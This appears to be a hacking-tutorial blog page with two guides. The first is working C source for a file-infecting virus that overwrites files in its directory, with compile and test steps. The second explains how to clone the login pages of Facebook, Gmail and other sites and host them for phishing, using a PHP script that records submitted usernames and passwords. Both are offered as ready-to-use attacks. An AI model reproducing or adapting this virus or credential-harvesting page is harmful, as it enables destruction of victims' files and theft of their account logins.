Creating a virus : Tutorial

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
 

#include
#include
#include
#include
#include
#include FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

 

COMPILING METHOD:

 

USING BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

 

USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

 

HOW TO TEST:

 

1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it

For Download Click Here »

Creating a fake ( phishing ) page of gmail , facebook , orkut , myspace etc.

Phishing has become a very easy to use trick to hack usernames and passwords of users. Here demonstrate how to create a fake phishing page for almost any social networking site , email or any other site that has a login form.

For this trick you would need a hosting account , you can get that easily.
Register yourself at t35, host1free, 110mb etc.
Note- 110mb checks for phishing page on their site and removes them.



So now u have a hosting account so lets create a fake page-

First go to the target site. In your browser select Save As from the File menu and save the site on
 your hardisk with name "login.htm" .

or alternatively right click on the page and click "view source" and copy all of it and save them to a notepad file. Rename the file with "login.htm".

Now the second part of the hack-
Go to Notepad and copy this into it-



header ('Location: http://www.facebook.com');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

   fwrite($handle, $variable);

   fwrite($handle, "=");

   fwrite($handle, $value);

   fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>


replace facebook.com with the URL you want the user to go after he clicks on submit button.

Save the page as fish.php

Now you need to edit the "login.htm" file we saves earlier. So go to that and open it with notepad.
now search for anyhtin like "action=" which has something with login. And replace the URl with "fish.php".

Also create a blank txt file with name "log.txt" . This file would be used to save your logins and passwords.
Now you are done,.

Go to your hosting account and upload all the files to your server.
Now go to the URL provided by ur host.

Like - http://g00glepage.t35.com/login.htm

And you would see the fake page as it is.
Now enter the username and password.

Check the log.txt file. The password and username you enterd previously would be saved in the log.txt  file.

Here you have a working phishing page.
bu hackiteasy

For Download Click Here »